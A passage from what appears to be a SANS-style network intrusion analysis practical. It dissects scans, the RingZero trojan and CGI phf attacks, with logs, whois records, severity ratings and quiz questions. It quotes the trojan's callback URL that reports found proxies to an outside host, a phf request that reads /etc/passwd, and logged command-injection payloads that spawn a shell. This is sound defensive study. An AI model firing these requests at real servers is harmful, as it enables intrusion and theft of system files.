*2U**R*F RESERVEDBITS
Nov 24 11:41:08 212.160.26.62:1045 -> my.net.26.7:80 SYN ******S*
Nov 24 11:41:06 212.160.26.62:18245 -> my.net.26.7:21536 NOACK
*2U**R*F RESERVEDBITS

Ripe reports:
212.160.26.62
inetnum:     212.160.26.0 - 212.160.27.255
netname:     TPNET-RAPPORT-WROCLAW
descr:       dialup
country:     PL
address:     00-695 Warszawa
address:     POLAND
```

Evidence of Active Targeting

This appears to be active targeting. As mentioned in the "Description of Attack" section, I believe this is a SYN-FIN scan being used to fingerprint the operating system. I also believe that web servers, maybe Apache, are being targeted.

Severity

(Critical + Lethal) – (System + Net Countermeasures) = Severity

Criticality of target: 5
I do not know the specific systems, but I am guessing that the hacker is targeting web servers, which are typically very critical.

Lethality of attack: 2
This is reconnaissance, and is not lethal; however, it shows signs of an advanced hacker so I would be cautious.

Host-based countermeasures: 3
I do not know the specific systems so I am taking an average.

Network-base countermeasures: 4
IDS or firewall systems were used to provide the traces.

Total severity: 0

Defensive Recommend-ations

Like most things, it depends. SYN-FIN scans are reconnaissance, and do not pose an immediate threat. A possible solution would be to use an IDS that detects the packets with the SYN flag and FIN flag set together. This will catch at least 20 different attacks, and allow you to investigate further.

Multiple Choice Test Question 3

Which combination of TCP flags is never seen together?

a) SYN-ACK
b) SYN-FIN
c) SYN-RST
d) None of the above

Multiple Choice Test Question 4

In the following trace, what combination is unusual?

```
206.42.43.8,18245 -> 10.0.0.139,21536 PR tcp len 20 484 -ASFU
  796157304 1952868716 12135
62.180.216.37,18245 -> 10.0.0.139,21536 PR tcp len 20 419 -ASFU
  796157304 1952868716 12064
```

a) SYN-FIN flags are set together
b) The source IP address is different, but the sequence numbers are the same.
c) Answers A and B
d) None of the above

Network Detect 3

(Jeff)
RingZero scans?

```
Feb 22 3:44:30 AM firewall.xyz.com unix: securityalert: tcp if=hme0 from
   206.172.206.232:4679 to a.b.5.30 on unserved port 1080
Feb 22 3:44:30 AM firewall.xyz.com unix: securityalert: tcp if=hme0 from
   206.172.206.232:4681 to a.b.5.30 on unserved port 3128
Feb 22 3:44:30 AM firewall.xyz.com unix: securityalert: tcp if=hme0 from
   206.172.206.232:4682 to a.b.5.30 on unserved port 8080
Feb 22 3:44:31 AM firewall.xyz.com unix: securityalert: tcp if=hme0 from
   206.172.206.232:4679 to a.b.5.30 on unserved port 1080
Feb 22 3:44:31 AM firewall.xyz.com unix: securityalert: tcp if=hme0 from
   206.172.206.232:4681 to a.b.5.30 on unserved port 3128
Feb 22 3:44:31 AM firewall.xyz.com unix: securityalert: tcp if=hme0 from
   206.172.206.232:4682 to a.b.5.30 on unserved port 8080
Feb 22 3:44:31 AM firewall.xyz.com unix: securityalert: tcp if=hme0 from
   206.172.206.232:4679 to a.b.5.30 on unserved port 1080
Feb 22 3:44:31 AM firewall.xyz.com unix: securityalert: tcp if=hme0 from
   206.172.206.232:4681 to a.b.5.30 on unserved port 3128
Feb 22 3:44:32 AM firewall.xyz.com unix: securityalert: tcp if=hme0 from
   206.172.206.232:4682 to a.b.5.30 on unserved port 8080
```

Server used for this query: [whois.arin.net]

```
Netblock: 206.172.0.0 - 206.172.255.255
WorldLinx Telecommunications, Inc. (NETBLK-WORLDLINX-6)
160 Elgin Street, Floor 12
Ottawa, Ontario K2P 2C4
CANADA

Feb 22 23:20:45 hostda portsentry[351]: attackalert: Connect from host:
 ppp7984.on.bellglobal.com/206.172.206.232 to TCP port: 1080
```

Source of Trace This trace was downloaded from http://www.sans.org/y2k/031301-1200.htm.

Detect was Generated By This detect seems to be from a UNIX based firewall. The information is somewhat limited, but correlations should provide additional information.

Probability the Source Address was Spoofed

This is probably not a spoofed IP address. I utilized ARIN to determine who owns 206.172.206.232.

http://www.arin.net/whois/index.html

```
WorldLinx Telecommunications, Inc. (NETBLK-WORLDLINX-6)
  WORLDLINX04
  206.172.0.0 - 206.172.255.255
Worldlinx (NETBLK-WORLDLINX-6-B)WORLDLINX-6-B
  206.172.62.0 - 206.172.223.255
```

It belongs to Worldlinx, a telecommunications company out of Canada.

Description of Attack

The timing indicates this is a scan for the three ports listed. The repetition of the source IP address and the source port indicates a retry, probably because the targeted system was not listening on those ports. The next step is to research the targeted ports. The commonly probed ports are listed:

http://www.sans.org/y2k/ports.htm

The SANS web site indicates that TCP port 1080 is the socks port, and it has seen a lot of probes recently. TCP port 8080 is standard proxy service. TCP port 3128 is the Squid Proxy service, and it mentions that www.rusftpsearch.net was searching and trying to exploit this service. I hit that web page, but it's a future web site. I then searched for any information on the web address on the SANS web site at:
http://www.sans.org/search.htm
It turned up some great information, including a document called, "What was the Ring Zero scan?"

http://www.sans.org/newlook/resources/IDFAQ/ring_zero.htm

This document contains Power Point slides that breakdown the Ring Zero scan in excellent detail. The only difference is that TCP port 1080 is being used instead of TCP port 80, which is the common port for web traffic. Nevertheless, this is apparently a similar scan.

Attack Mechanism

The Ring Zero scan is a Trojan that runs several programs. One of the primary programs, called pst.exe, generates a small list of IP addresses, scans the Internet for active proxies and sends their IP addresses back to the attacker. A proxy server would use the following code to send its own information back to the possible attacker:

```
get http://www.rusftpsearch.net/cgi-bin/pst.pl/?pstmode=writeip\
&psthost={proxys_ip_address}&pstport={proxys_port}
```

Where {proxys_ip_address} is replaced with the IP address targeted in the current scan, and {proxys_port} is replaced with the port targeted in the current scan.

Another program, called its.exe, seemed to set everything up. It moves itself from its original location and placed itself and Ring0.vxd in \windows\system directory. The Extreme BoF – Decoding Ring Zero, determined that its.exe also attempts to retrieve files from various web servers. They did not mention what was being looked for.

It was not determined what the original infection mechanism was; however, additional correlation mentions a possible screensaver program.

Correlations http://www.sans.org/y2k/031201.htm

(Laurie@edu)
Correlations with http://www.sans.org/y2k/030501-1600.htm

11111111111111111111111111111111111111111111111111111
>(Security@auckland)
> On Thu 01 Mar 2001 at 12:44 (UTC) we detected a ping scan in part of our network. This incident appears to have originated from 193.253.206.71. Sample logs, times are UTC + 1300, GPS synchronized:

```
>
> 02 Mar 01 01:44:09     icmp  193.253.206.71        ->
202.37.88.45       ECO
> 02 Mar 01 01:44:09     icmp  193.253.206.71        ->
202.37.88.46       ECO
> 02 Mar 01 01:44:09     icmp  193.253.206.71        ->
202.37.88.47       ECO
> 02 Mar 01 01:44:09     icmp  193.253.206.71        ->
202.37.88.48       ECO
> 02 Mar 01 01:44:09     icmp  193.253.206.71        ->
202.37.88.49       ECO
> 02 Mar 01 01:44:09     icmp  193.253.206.71        ->
202.37.88.50       ECO
> Source: 193.253.206.71
> Ports: icmp-ECO
> Incident type: Network_scan
> re-distribute: yes
> timezone: UTC + 1300
> reply: no
> Time: Thu 01 Mar 2001 at 12:44 (UTC)

Feb 28 20:46:42 hostp portsentry[516]: attackalert: Connect from
host:
  APuteaux-102-2-2-71.abo.wanadoo.fr/193.253.206.71 to TCP port: 3128
Feb 28 20:46:42 hostp portsentry[516]: attackalert: Connect from
host:
  APuteaux-102-2-2-71.abo.wanadoo.fr/193.253.206.71 to TCP port: 1080
Feb 28 20:46:42 hostre portsentry[409]: attackalert: Connect from
host:
  APuteaux-102-2-2-71.abo.wanadoo.fr/193.253.206.71 to TCP port: 3128
Feb 28 20:46:42 hostre portsentry[409]: attackalert: Connect from
host:
  APuteaux-102-2-2-71.abo.wanadoo.fr/193.253.206.71 to TCP port: 1080
Feb 28 20:49:12 hostca portsentry[272]: attackalert: Connect from
host:
  APuteaux-102-2-2-71.abo.wanadoo.fr/193.253.206.71 to TCP port: 3128
Feb 28 20:49:12 hostca portsentry[272]: attackalert: Connect from
host:
  APuteaux-102-2-2-71.abo.wanadoo.fr/193.253.206.71 to TCP port: 1080
Feb 28 20:49:12 hostca portsentry[272]: attackalert: Connect from
host:
  APuteaux-102-2-2-71.abo.wanadoo.fr/193.253.206.71 to TCP port: 3128

Feb 28 20:55:07 hostmau Connection attempt to TCP z.y.x.28:8000 from
  193.253.206.71:3438
Feb 28 20:55:07 hostmau Connection attempt to TCP z.y.x.28:3128 from
  193.253.206.71:3439
Feb 28 20:55:07 hostmau Connection attempt to TCP z.y.x.28:8080 from
  193.253.206.71:3443
Feb 28 20:55:09 hostmau Connection attempt to TCP z.y.x.28:8000 from
  193.253.206.71:3438
Feb 28 20:55:09 hostmau Connection attempt to TCP z.y.x.28:8080 from
  193.253.206.71:3443
```

```
Feb 28 20:55:01 hostmau snort[93203]: ICMP Unknown Type:
193.253.206.71
  -> z.y.x.28
Feb 28 20:55:01 hostmau snort[93203]: ICMP Unknown Type: z.y.x.28 ->
  193.253.206.71
Feb 28 20:55:06 hostmau snort[93203]: ICMP Unknown Type:
193.253.206.71
  -> z.y.x.224
Feb 28 20:55:07 hostmau snort[93203]: MISC-WinGate-1080-Attempt:
  193.253.206.71:3442 -> z.y.x.28:1080
Feb 28 20:55:07 hostmau snort[93203]: MISC-WinGate-8080-Attempt:
  193.253.206.71:3443 -> z.y.x.28:8080
Feb 28 20:55:09 hostmau snort[93203]: MISC-WinGate-8080-Attempt:
  193.253.206.71:3443 -> z.y.x.28:8080

Feb 28 20:55:07 193.253.206.71:3437 -> z.y.x.28:80 SYN ******S*
Feb 28 20:55:10 193.253.206.71:3438 -> z.y.x.28:8000 SYN ******S*
Feb 28 20:55:10 193.253.206.71:3439 -> z.y.x.28:3128 SYN ******S*
Feb 28 20:55:07 193.253.206.71:3442 -> z.y.x.28:1080 SYN ******S*
Feb 28 20:55:10 193.253.206.71:3443 -> z.y.x.28:8080 SYN ******S*

Feb 28 21:02:30 hosty portsentry[594]: attackalert: Connect from
host:
  APuteaux-102-2-2-71.abo.wanadoo.fr/193.253.206.71 to TCP port: 3128
Feb 28 21:02:31 hosty portsentry[594]: attackalert: Connect from
host:
  APuteaux-102-2-2-71.abo.wanadoo.fr/193.253.206.71 to TCP port: 1080
Feb 28 21:02:31 hostm portsentry[311]: attackalert: Connect from
host:
  APuteaux-102-2-2-71.abo.wanadoo.fr/193.253.206.71 to TCP port: 3128
Feb 28 21:02:31 hostm portsentry[311]: attackalert: Connect from
host:
  APuteaux-102-2-2-71.abo.wanadoo.fr/193.253.206.71 to TCP port: 1080
Feb 28 21:02:31 hostj portsentry[481]: attackalert: Connect from
host:
  APuteaux-102-2-2-71.abo.wanadoo.fr/193.253.206.71 to TCP port: 3128

Feb 28 21:02:29 hosty snort[80143]: MISC-WinGate-1080-Attempt:
  193.253.206.71:1856 -> z.y.w.34:1080
Feb 28 21:02:29 hosty snort[80143]: MISC-WinGate-8080-Attempt:
  193.253.206.71:1857 -> z.y.w.34:8080
Feb 28 21:02:30 hostj snort[20978]: MISC-WinGate-1080-Attempt:
  193.253.206.71:1886 -> z.y.w.66:1080
Feb 28 21:02:30 hostj snort[20978]: MISC-WinGate-8080-Attempt:
  193.253.206.71:1887 -> z.y.w.66:8080
Feb 28 21:02:30 hostm snort[16556]: ALERT: 193.253.206.71:1913
  -> z.y.w.98:80
Feb 28 21:02:30 hostm snort[16556]: MISC-WinGate-1080-Attempt:
  193.253.206.71:1916 -> z.y.w.98:1080
Feb 28 21:02:30 hostm snort[16556]: MISC-WinGate-8080-Attempt
  193.253.206.71:1917 -> z.y.w.98:8080
Feb 28 21:02:31 hostm snort[16556]: ALERT: 193.253.206.71:1913
  -> z.y.w.98:80

Feb 28 21:02:32 193.253.206.71:1853 -> z.y.w.34:80 SYN ******S*
Feb 28 21:02:32 193.253.206.71:1854 -> z.y.w.34:8000 SYN ******S*
Feb 28 21:02:29 193.253.206.71:1855 -> z.y.w.34:3128 SYN ******S*
Feb 28 21:02:29 193.253.206.71:1856 -> z.y.w.34:1080 SYN ******S*
Feb 28 21:02:32 193.253.206.71:1857 -> z.y.w.34:8080 SYN ******S*
```

http://www.securityfocus.com/75/31239

Subject: The proxy port scanning: 80, 8080, 3198, RingZero, etc.

http://vil.nai.com/vil/tro10356.asp

RingZero currently described in the NAI virus library:

Evidence of Active Targeting

This is a clear case of active targeting. The scan is looking for listening proxy ports.

Severity

(Critical + Lethal) – (System + Net Countermeasures) = Severity

Criticality of target: 3
The system targeted in this case was not identified; however, the Ring Zero scan targets systems somewhat randomly. The generated target list may include non-existent IP addresses as well as vulnerable proxy servers. Based on this I chose to take the middle ground.

Lethality of attack: 1
In this case the port scan did not find any available services.

Host-based countermeasures: 3
Again, the target system was not identified; however, the ports were not listening.

Network-base countermeasures: 5
In this case, the Unix based firewall blocked the request.

Total severity: -4

Defensive Recommend-ations

Most anti-virus software will detect the software required to scan for open ports; however, there are two sides to this issue. Anti-virus may protect you from being used to scan others, but what if you are the one being scanned. It still has not been determine exactly what files may be gathered from the web servers. In this case it is highly recommended to use IDS to detect possible scans on TCP ports 80, 8080, 3128, and now in this particular case 1080.

Multiple Choice Test Question 5

A "Defense in Depth" strategy calls for multiple layers of defense. Which of the following could be utilized to help prevent the Ring Zero attack?

a) Implement a firewall
b) Implement an IDS solution
c) Implement an Anti-Virus solution
d) All of the above

Multiple Choice Test Question 6

What is the following script trying to accomplish?

```
get http://www.rusftpsearch.net/cgi-bin/pst.pl/?pstmode=writeip\
&psthost={proxys_ip_address}&pstport={proxys_port}
```

a) It is getting web information from www.rusftpsearch.net
b) It is executing a cgi-bin script on www.rusftpsearch.net
c) It is sending proxy information back to www.rusftpsearch.net
d) All of the above

Network Detect 4

(Security@auckland)

Greetings, On Wed 14 Feb 2001 at 04:30 (UTC) we detected a scan of tcp-80,6000 ports in part of our network. This incident appears to have originated from 66.9.80.23. Port 80 probes are tcp ACKs -- i.e. tcp pings any machine that responded was then probe for X (6000). Sample logs, times are UTC + 1300, GPS synchronized:

```
14 Feb 01 17:29:24      tcp      66.9.80.23.33025 <|    130.216.1.235.80
14 Feb 01 17:29:24  M   tcp      66.9.80.23.33025 <|    130.216.1.237.80
14 Feb 01 17:29:24  M   tcp      66.9.80.23.33025 <|    130.216.1.236.80
14 Feb 01 17:29:27      tcp      66.9.80.23.33025 <|    130.216.1.240.80
14 Feb 01 17:29:27      tcp      66.9.80.23.33025 <|    130.216.1.243.80
14 Feb 01 17:29:27      tcp      66.9.80.23.33025 <|    130.216.1.249.80
14 Feb 01 17:29:27      tcp      66.9.80.23.33025 <|    130.216.1.250.80
14 Feb 01 17:29:27      tcp      66.9.80.23.33025 <|    130.216.1.251.80
14 Feb 01 17:29:27      tcp      66.9.80.23.33025 <|    130.216.1.254.80
14 Feb 01 17:29:29      tcp      66.9.80.23.33026 <|    130.216.1.243.80
14 Feb 01 17:29:34      tcp      66.9.80.23.33005  o>   130.216.1.1.6000
14 Feb 01 17:29:35      tcp      66.9.80.23.33006  o>   130.216.1.1.6000
14 Feb 01 17:29:36      tcp      66.9.80.23.33007  o>   130.216.1.1.6000

Source: 66.9.80.23
Ports: tcp-80,6000
Incident type: Network_scan
re-distribute: yes
 timezone: UTC + 1300
reply: no
Time: Wed 14 Feb 2001 at 04:30 (UTC)
```

On Wed 14 Feb 2001 at 06:38 (UTC) we detected a scan of tcp-111 ports in part of our network. This incident appears to have originated from 24.19.142.30. Sample logs, times are UTC + 1300, GPS synchronized:

```
14 Feb 01 19:38:55      tcp    24.19.142.30.1673   o>    202.37.88.39.111   s
14 Feb 01 19:38:55      tcp    24.19.142.30.1674   o>    202.37.88.38.111   s
14 Feb 01 19:38:55      tcp    24.19.142.30.1675   o>    202.37.88.37.111   s
14 Feb 01 19:38:55      tcp    24.19.142.30.1676   o>    202.37.88.36.111   s
14 Feb 01 19:38:55      tcp    24.19.142.30.1677   o>    202.37.88.41.111   s
14 Feb 01 19:38:55      tcp    24.19.142.30.1678   o>    202.37.88.42.111   s
14 Feb 01 19:38:55      tcp    24.19.142.30.1679   o>    202.37.88.43.111   s
14 Feb 01 19:38:55      tcp    24.19.142.30.1680   o>    202.37.88.44.111   s
14 Feb 01 19:38:55      tcp    24.19.142.30.1681   o>    202.37.88.45.111   s
14 Feb 01 19:38:55      tcp    24.19.142.30.1682   o>    202.37.88.46.111   s
14 Feb 01 19:38:55      tcp    24.19.142.30.1683   o>    202.37.88.47.111   s

Source: 24.19.142.30
Ports: tcp-111
Incident type: Network_scan
re-distribute: yes
timezone: UTC + 1300
```

```
reply: no
Time: Wed 14 Feb 2001 at 06:38 (UTC)
```

On Wed 14 Feb 2001 at 08:44 (UTC) we detected a scan of tcp-53 ports in part of our network. This incident appears to have originated from 64.1.62.34. Sample logs, times are UTC + 1300, GPS synchronized:

```
14 Feb 01 21:45:01      tcp      64.1.62.34.3633  <|      130.216.5.4.53    sR
14 Feb 01 21:45:01      tcp      64.1.62.34.3637  <|      130.216.5.8.53    sR
14 Feb 01 21:45:01      tcp      64.1.62.34.3638  <|      130.216.5.9.53    sR
14 Feb 01 21:45:01      tcp      64.1.62.34.3639  <|     130.216.5.10.53    sR
14 Feb 01 21:45:01      tcp      64.1.62.34.3646  <|     130.216.5.17.53    sR
14 Feb 01 21:45:01      tcp      64.1.62.34.3635  <|      130.216.5.6.53    sR
14 Feb 01 21:45:01      tcp      64.1.62.34.3636  <|      130.216.5.7.53    sR
14 Feb 01 21:45:01      tcp      64.1.62.34.3640  <|     130.216.5.11.53    sR
14 Feb 01 21:45:01      tcp      64.1.62.34.3641  <|     130.216.5.12.53    sR
14 Feb 01 21:45:01      tcp      64.1.62.34.3642  <|     130.216.5.13.53    sR
14 Feb 01 21:45:01      tcp      64.1.62.34.3643  <|     130.216.5.14.53    sR
14 Feb 01 21:45:05      tcp      64.1.62.34.4386  <|    130.216.7.247.53    sR
14 Feb 01 21:45:07      tcp      64.1.62.34.4393  <|    130.216.7.254.53    sR

Source: 64.1.62.34
Ports: tcp-53
Incident type: Network_scan
re-distribute: yes
timezone: UTC + 1300
reply: no
Time: Wed 14 Feb 2001 at 08:44 (UTC)
```

On Wed 14 Feb 2001 at 09:12 (UTC) we detected a scan of tcp-53 ports in part of our network. This incident appears to have originated from 24.167.127.8. Sample logs, times are UTC + 1300, GPS synchronized:

```
14 Feb 01 22:12:12      tcp    24.167.127.8.4873  <|      130.216.3.24.53    sR
14 Feb 01 22:12:12      tcp    24.167.127.8.4874  <|      130.216.3.25.53    sR
14 Feb 01 22:12:12      tcp    24.167.127.8.4877  <|      130.216.3.28.53    sR
14 Feb 01 22:12:12      tcp    24.167.127.8.4878  <|      130.216.3.29.53    sR
14 Feb 01 22:12:12      tcp    24.167.127.8.4879  <|      130.216.3.30.53    sR
14 Feb 01 22:12:12      tcp    24.167.127.8.4588  <|    130.216.1.250.53    sR
14 Feb 01 22:12:12      tcp    24.167.127.8.4589  <|    130.216.1.251.53    sR
14 Feb 01 22:12:12      tcp    24.167.127.8.4592  <|    130.216.1.254.53    sR
14 Feb 01 22:12:12      tcp    24.167.127.8.4594  <|      130.216.2.1.53    sR
14 Feb 01 22:12:12      tcp    24.167.127.8.4884  <|     130.216.3.35.53    sR
14 Feb 01 22:12:12      tcp    24.167.127.8.4885  <|     130.216.3.36.53    sR

Source: 24.167.127.8
Ports: tcp-53
Incident type: Network_scan
re-distribute: yes
timezone: UTC + 1300
reply: no
Time: Wed 14 Feb 2001 at 09:12 (UTC)
```

On Wed 14 Feb 2001 at 10:18 (UTC) we detected a series of short host scans (ports tcp 23, 25, 80, 110, 143) in part of our network. Various attacks were then launched against the hosts (see snort logs which are appended). This incident appears to have originated from 213.45.115.165. Sample logs, times are UTC + 1300, GPS synchronized:

```
Feb 14 23:21:55 takahe snort[146]: IDS128 - CVE-1999-0067 -
  CGI phf attempt: 213.45.115.165:2755 -> 130.216.1.236:80
Feb 14 23:21:56 takahe snort[146]: IDS218 - CVE-1999-0070 -
  TEST-CGI probe: 213.45.115.165:2785 -> 130.216.1.236:80
Feb 14 23:21:58 takahe snort[146]: IDS235 - CVE-1999-0148 -
  CGI-HANDLERprobe!: 213.45.115.165:2813 -> 130.216.1.236:80
Feb 14 23:22:01 takahe snort[146]: WEB-CGI-Webgais CGI access attempt:
  213.45.115.165:2820 -> 130.216.1.236:80
Feb 14 23:22:02 takahe snort[146]: CVE-1999-0196 - WEB-CGI-Websendmail
  CGI access attempt: 213.45.115.165:2837 -> 130.216.1.236:80
Feb 14 23:22:04 takahe snort[146]: CVE-1999-0039 - WEB-CGI-Webdist CGI
  access attempt: 213.45.115.165:2850 -> 130.216.1.236:80
Feb 14 23:22:05 takahe snort[146]: CVE-1999-0262 - WEB-CGI-Faxsurvey probe:
  213.45.115.165:2863 -> 130.216.1.236:80
Feb 14 23:22:05 takahe snort[146]: CVE-1999-0264 - WEB-CGI-Htmlscript CGI

  access attempt: 213.45.115.165:2876 -> 130.216.1.236:80
Feb 14 23:22:07 takahe snort[146]: CVE-1999-0270 - WEB-CGI-CGI pf display
  access attempt: 213.45.115.165:2891 -> 130.216.1.236:80
Feb 14 23:22:07 takahe snort[146]: IDS219 - WEB-CGI-Perl access attempt:
  213.45.115.165:2899 -> 130.216.1.236:80
Feb 14 23:22:08 takahe snort[146]: CVE-1999-0953 - WEB-MISC - wwwboard.pl
  attempt: 213.45.115.165:2928 -> 130.216.1.236:80
Feb 14 23:22:10 takahe snort[146]: WEB-MISC - architext_query.pl attempt:
  213.45.115.165:2939 -> 130.216.1.236:80
Feb 14 23:22:11 takahe snort[146]: WEB-MISC - /cgi-bin/jj attempt:
  213.45.115.165:2957 -> 130.216.1.236:80
Feb 14 23:22:12 takahe snort[146]: IDS224 - CVE-1999-0045 - NPH CGI access
  attempt: 213.45.115.165:2972 -> 130.216.1.236:80

Source: 213.45.115.165
Ports: tcp 23, 25,  80, 110,  143
Incident type: Network_scan
re-distribute: yes
timezone: UTC + 1300
reply: no
Time: Wed 14 Feb 2001 at 10:18 (UTC)
```

On Wed 14 Feb 2001 at 23:16 (UTC) we detected a scan of tcp-515 ports in part of our network. This incident appears to have originated from 12.16.3.2. One system was subsequently attacked (see snort logs). Sample logs, times are UTC + 1300, GPS synchronized:

```
15 Feb 01 12:16:10    tcp     12.16.3.2.4977   o>    130.216.4.12.515   s
15 Feb 01 12:16:10    tcp     12.16.3.2.4983   o>    130.216.4.18.515   s
15 Feb 01 12:16:10    tcp     12.16.3.2.4985   o>    130.216.4.20.515   s
15 Feb 01 12:16:10    tcp     12.16.3.2.4988   o>    130.216.4.23.515   s
15 Feb 01 12:16:10    tcp     12.16.3.2.4991   o>    130.216.4.26.515   s
15 Feb 01 12:16:10    tcp     12.16.3.2.4993   o>    130.216.4.28.515   s
15 Feb 01 12:16:10    tcp     12.16.3.2.1053   o>    130.216.4.58.515   s
15 Feb 01 12:16:10    tcp     12.16.3.2.1055   o>    130.216.4.60.515   s
15 Feb 01 12:16:10    tcp     12.16.3.2.1056   o>    130.216.4.61.515   s

snort logs:
```

```
Feb 15 12:18:02 takahe snort[146]: IDS181 - MISC - Shellcode X86 NOPS:
  12.16.3.2:2225 -> 130.216.35.102:515
Feb 15 12:18:15 takahe snort[146]: IDS181 - MISC - Shellcode X86 NOPS:
  12.16.3.2:2227 -> 130.216.35.102:515
Feb 15 12:18:34 takahe snort[146]: IDS181 - MISC - Shellcode X86 NOPS:
  12.16.3.2:2231 -> 130.216.35.102:515
Feb 15 12:18:51 takahe snort[146]: IDS181 - MISC - Shellcode X86 NOPS:
  12.16.3.2:2235 -> 130.216.35.102:515
Feb 15 12:19:20 takahe snort[146]: IDS181 - MISC - Shellcode X86 NOPS:
  12.16.3.2:2237 -> 130.216.35.102:515
Feb 15 12:19:24 takahe snort[146]: IDS181 - MISC - Shellcode X86 NOPS:
  12.16.3.2:2239 -> 130.216.35.102:515
Feb 15 12:19:27 takahe snort[146]: IDS181 - MISC - Shellcode X86 NOPS:
  12.16.3.2:2241 -> 130.216.35.102:515
Feb 15 12:20:20 takahe snort[146]: IDS181 - MISC - Shellcode X86 NOPS:
  12.16.3.2:2245 -> 130.216.35.102:515
Feb 15 12:20:21 takahe snort[146]: IDS181 - MISC - Shellcode X86 NOPS:
  12.16.3.2:2247 -> 130.216.35.102:515
Feb 15 12:20:23 takahe snort[146]: IDS181 - MISC - Shellcode X86 NOPS:
  12.16.3.2:2249 -> 130.216.35.102:515

Source: 12.16.3.2
Ports: tcp-515
Incident type: Network_scan, attack (buffer overflow attempt)
re-distribute: yes
timezone: UTC + 1300
reply: no
Time: Wed 14 Feb 2001 at 23:16 (UTC)
```

Source of Trace

This trace was downloaded from http://www.sans.org/y2k/021601.htm.

Detect was Generated By

This detect seems to be from system log files and snort. This particular submitter is very active on the SANS website, and I believe that this person understands everything that is being posted. I think the submissions are to provide correlation for other SANS users. Although this set of traces includes some network scans, buffer overflow attempt, and canned probes, I chose it because of the inclusion of various web attacks. The application layer attack is something I am interested in, and I hope to learn more through doing this analysis.

Probability the Source Address was Spoofed

This is probably not a spoofed IP address. I utilized RIPE to determine who owns 213.45.115.165.

http://www.ripe.net/cgi-bin/whois

```
inetnum:      213.45.112.0 - 213.45.115.255
netname:      TIN
descr:        Telecom Italia Net
descr:        TIN Standard service in OSPF Area 05
descr:        PROVIDER
country:      IT
admin-c:      TAS10-RIPE
tech-c:       TAS10-RIPE
status:       ASSIGNED PA
remarks:      Please send abuse notification to abuse@tin.it
notify:       nettin@tin.it
mnt-by:       TIN-MNT
changed:      cgiadmin@cgi.interbusiness.it 20000920
changed:      mauro.carissimi@telecomitalia.it 20010212
source:       RIPE
```

A reverse DNS lookup provides:

```
Name:    a-cs8-6.tin.it
Address:  213.45.115.165
```

It belongs to Telecom Italia, which seems to be a telecommunications company in Italy. Because this is one source IP address going to one destination IP address, and the attacker is trying to find application vulnerabilities it would indicate that this is not a spoofed IP address. The attacker obviously needs established connectivity to take advantage of the attack.

Description of Attack

This is definitely an automated tool such as nmap, nessus or possibly whisker. I eliminated CyberCop because it typically leaves a signature such as the word "CyberCop." Even though the source IP address and the timing are different, I will start with the first trace in the list provided because I believe they are related. The attack begins with TCP Port 80 probes to random destination IP addresses probably to find web servers. The attacker is looking for a response, which will indicate the presence of a web server. He will later use this information for an application layer attack. There is also an attempt on TCP port 6000, which is an X windows port. This was determined by reviewing the commonly used ports at:

http://www.sans.org/y2k/ports.htm

This next part that I am focusing on is the actual application attack. Once the previous scan found a system running on TCP port 80, it began running various web attacks. The first attack is CGI phf attack, which has a Common Vulnerabilities and Exposure candidate number of CVE-1999-0067. This can be cross-reference at:

http://cve.mitre.org/

The description provided:

CGI phf program allows remote command execution through shell metacharacters.

Additional research indicated that the phf program was a gateway to the PH phone book system. Apparently, the program improperly parses incoming web requests, which would allow an attacker to execute commands on the web server.

The most common attack involves the attempt to get the /etc/passwd file on a unix system. The example of the request might be:

```
http://www.example.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

Attack Mechanism

The first part of this attack is a TCP port scan, which is looking for web services being served by targets within a specific network range. Once a web server is found, the phf attack is run to see if it can execute a command such as displaying the /etc/passwd file using the cat command. The phf CGI command is a script, which includes the ph command and valid arguments; however, it requires input from the user to complete the command line. Along with the vulnerable version of the escape_shell_cmd code, which failed to guard against the newline character, this is where the script can be exploited. The hacker can include a newline character, which is a valid command separator, and the "popen" call in the CGI script, and phf will interpret the string as two separate commands. Both commands would then be executed and returned to the calling program.

Correlations

http://www.sans.org/y2k/051400.htm

(These log entries come from an Apache 1.3.12, the latest version. Please note the last entry, the POST attack is new to me. Logs submitted by Tomi Nylund from a friend's system.)

```
peregrin.kfunigraz.ac.at - - [25/Apr/2000:00:13:19 +0300]
"GET /cgi-
bin/counter/nl/ord/lang=english(1);system("$ENV{HTTP_X}");
HTTP/1.0" 404 714 "-" "-"
peregrin.kfunigraz.ac.at - - [25/Apr/2000:00:21:29 +0300]
"GET /cgi-
bin/counter.cgi/nl/ord/lang=english(1);system("$ENV{HTTP_X}");
HTTP/1.0" 404 714 "-" "-"
peregrin.kfunigraz.ac.at - - [25/Apr/2000:00:32:44 +0300]
"GET /cgi-bin/counterfiglet/nc/f=;echo;echo%20{_counterfiglet-
begin_};
uname%20-a;id;w;echo%20{_counterfiglet-end_};
echo HTTP/1.0" 404 714 "-" "-"
peregrin.kfunigraz.ac.at - - [25/Apr/2000:00:44:25 +0300]
"GET /cgi-bin/aglimpse/80|IFS=Q;Y=QshQ-cQ$HTTP_X;eval$Y;
HTTP/1.0" 404 714 "-" "-"
peregrin.kfunigraz.ac.at - - [25/Apr/2000:00:55:53 +0300]
"POST /cgi-bin/phf?Qname=x%0a/bin/sh+-s%0a
HTTP/1.0" 302 219 "-" "-"
```

http://www.sans.org/y2k/051400.htm

(A big welcome aboard to Pierre Lamy from Canada. A bunch of researchers and law enforcement types have been working on a top ten list of all attacks and CGI bin as shown below is in the top ten.)

```
Active System Attack Alerts
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
63.65.65.2 - - [09/May/2000:05:04:17 -0400] "GET
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd HTTP/1.0" 404
279
63.65.65.2 - - [09/May/2000:05:06:43 -0400] "GET
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/password HTTP/1.0" 404
279
63.65.65.2 - - [09/May/2000:05:06:48 -0400] "GET
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/ HTTP/1.0" 404 279
63.65.65.2 - - [09/May/2000:05:06:56 -0400] "GET
/cgi-bin/phf?Qalias=x%0a/bin/ HTTP/1.0" 404 279
63.65.65.2 - - [09/May/2000:05:07:04 -0400] "GET /cgi-
bin/phf?Qalias=x%
HTTP/1.0" 404 279
```

http://www.sans.org/infosecFAQ/casestudies/search_engines.htm

This document contains a section on CGI and explains how search engines can be used as a reconnaissance tool to assist in exploitation of common CGI weaknesses.

http://www.kb.cert.org/vuls/id/20276

This document describes a vulnerability in a CGI script known as phf, which was widely exploited in 1996 and 1997.

http://www.cert.org/advisories/CA-1996-06.html

This is the CERT Advisory CA-1996-06 Vulnerability in NCSA/Apache CGI example code.

